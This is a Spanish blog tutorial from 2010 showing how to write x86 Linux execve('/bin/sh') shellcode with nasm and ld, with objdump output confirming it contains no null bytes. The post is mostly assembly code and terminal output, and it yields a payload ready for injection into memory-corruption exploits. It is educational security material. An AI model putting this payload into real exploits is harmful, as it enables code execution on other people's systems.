jueves, 28 de octubre de 2010

~Unix & Cisco & Hacks~ - Shellcoding sin gcc, solo con nasm+ld


Para empezar veamos la shellcode.

root@bt:~# cat shell.asm
BITS 32

section .data
global _start

_start:
jmp short down
jmp_back:
pop ebx ; ebx = direccion de la cadena
xor eax, eax
mov byte [ebx+7], al ; Ponemos un null en N , es decir, shell[7]
mov [ebx+8], ebx ; ponemos la direccion de la cadena (en ebx) en shell[8]
mov [ebx+12], eax ; null en shell[12]
; la cadena en este momento es asi: "/bin/sh\0(*ebx)(*0000)" que es lo que queremos

xor eax, eax
mov byte al, 11 ; execve es syscall 11
lea ecx, [ebx+8] ; ecx = direccion de XXXX = (*ebx)
lea edx, [ebx+12] ; edx = direccion de YYYY = (*0000)
int 0x80 ; llamamos al kernel
down:
call jmp_back
shell:
db "/bin/shNXXXXYYYY"

Ahora compilamos, linkamos y ejecutamos:

root@bt:~# nasm -g -f elf32 shell.asm -o shell.o
root@bt:~# ld shell.o -o shell
root@bt:~# ./shell
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),110(lpadmin),111(sambashare),112(admin)

Ahi tenemos la shell.

Vamos ahora a mostrar las secciones del programa, y comprobaremos como db esta en la seccion .data

root@bt:~# objdump -x shell

shell: file format elf32-i386
shell
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08049054

Program Header:
LOAD off 0x00000000 vaddr 0x08049000 paddr 0x08049000 align 2**12
filesz 0x00000083 memsz 0x00000083 flags rw-

Sections:
Idx Name Size VMA LMA File off Algn
0 .data 0000002f 08049054 08049054 00000054 2**2
CONTENTS, ALLOC, LOAD, DATA
1 .stabstr 00000001 00000000 00000000 00000084 2**2
CONTENTS, READONLY, DEBUGGING
2 .comment 0000001f 00000000 00000000 00000085 2**0
CONTENTS, READONLY
SYMBOL TABLE:
08049054 l d .data 00000000 .data
00000000 l d .stabstr 00000000 .stabstr
00000000 l d .comment 00000000 .comment
00000000 l df *ABS* 00000000 shell.asm
08049056 l .data 00000000 jmp_back
0804906e l .data 00000000 down
08049073 l O .data 00000001 shell
08049054 g .data 00000000 _start
08049083 g *ABS* 00000000 __bss_start
08049083 g *ABS* 00000000 _edata
08049084 g *ABS* 00000000 _end


root@bt:~#

Vale, la cadena de la shell esta en la seccion .data como muestro a continuacion

08049073 l O .data 00000001 shell

Veamos los permisos de la seccion .data :

Sections:
Idx Name Size VMA LMA File off Algn
0 .data 0000002f 08049054 08049054 00000054 2**2
CONTENTS, ALLOC, LOAD, DATA

La seccion .data no esta marcada READONLY. !!!Luego podemos escribir!!!

Por ultimo, desensamblamos para comprobar que la shellcode no tiene ningun byte nulo:

root@bt:~# rm shell shell.o
root@bt:~# nasm -f elf32 shell.asm -o shell.o
root@bt:~# ld shell.o -o shell
root@bt:~# objdump -D shell

shell: file format elf32-i386


Disassembly of section .data:

08049054 _start:
8049054: eb 18 jmp 804906e

08049056 :
8049056: 5b pop %ebx
8049057: 31 c0 xor %eax,%eax
8049059: 88 43 07 mov %al,0x7(%ebx)
804905c: 89 5b 08 mov %ebx,0x8(%ebx)
804905f: 89 43 0c mov %eax,0xc(%ebx)
8049062: 31 c0 xor %eax,%eax
8049064: b0 0b mov $0xb,%al
8049066: 8d 4b 08 lea 0x8(%ebx),%ecx
8049069: 8d 53 0c lea 0xc(%ebx),%edx
804906c: cd 80 int $0x80

0804906e :
804906e: e8 e3 ff ff ff call 8049056

08049073 :
8049073: 2f das
8049074: 62 69 6e bound %ebp,0x6e(%ecx)
8049077: 2f das
8049078: 73 68 jae 80490e2 _end+0x5e
804907a: 4e dec %esi
804907b: 58 pop %eax
804907c: 58 pop %eax
804907d: 58 pop %eax
804907e: 58 pop %eax
804907f: 59 pop %ecx
8049080: 59 pop %ecx
8049081: 59 pop %ecx
8049082: 59 pop %ecx
root@bt:~#

Referencias:

No hay comentarios:

Publicar un comentario